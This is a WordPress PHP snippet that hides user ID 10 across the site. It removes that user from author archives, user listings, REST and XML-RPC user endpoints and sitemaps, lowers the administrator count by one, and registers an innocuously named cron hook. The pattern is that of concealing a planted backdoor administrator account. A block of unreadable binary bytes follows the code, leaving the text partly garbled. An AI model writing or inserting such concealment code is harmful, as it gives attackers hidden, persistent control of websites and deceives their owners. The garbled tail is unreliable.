add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 10;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 10 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 10 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 10;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 10;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 10;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/10(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 10;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
Ks0nGÎ>a7)[+/ْlKdݣU%C/f;YMč6Y_2@UH)dIn$
H$D"3Htl5wc~UzwW5vL?Dt_=lġƸX9
jZt:/VTk+=+~[ȓmv/OLz!&0qbP+RI>5fCR| $OOuSb~]Fld;"*HԐKZ/R$ٮz^H}51D+j'fROͺ.G%]Ӣ(:8@VbK9{Gjd6lߥ2"/,_c#PJP;@c'R]3]HX,`#`}ՆA| ň`ɚA.7ݟ$ZI
y'@;/WsvgŰݠ/fyk ώ?±(6'pD3JvűѪVL[:N`F'r][\/WJE,Xl8E 8|"W)ʭHnivH9-YL;[.QKzwm
cXPg2+'0-4kE,D2ueO,'|iE(IγOeL Xpb
`%,IKnٗ*.J8L".6|?Dޕ 3oJ)xk%Gs!OS\"ӽ@ڹ/SssT/үx7ciqp6qTyL*,*@/XT7>N9{_>QC5HrS*K%%}v"nlHdy=֟).4& iX[ (>PZq@\SE?$.
.k }v_} S4f'Xw"Ͱ;3Y]ub`|fb3Mxϩ 'Ŕ9{s οSyW !Lw:d)\{cjd3 p/ۺ勶31{]ƯC?ax[?Q\JUjla*GC瘸.L
X#zrׯN KԔ#m7Sawd,Er"\ijdh9@_ږ^RmX1iRJMP\?T:`31/C
.6^g}>ӢB3CqĐP&zCJf}(Tb۩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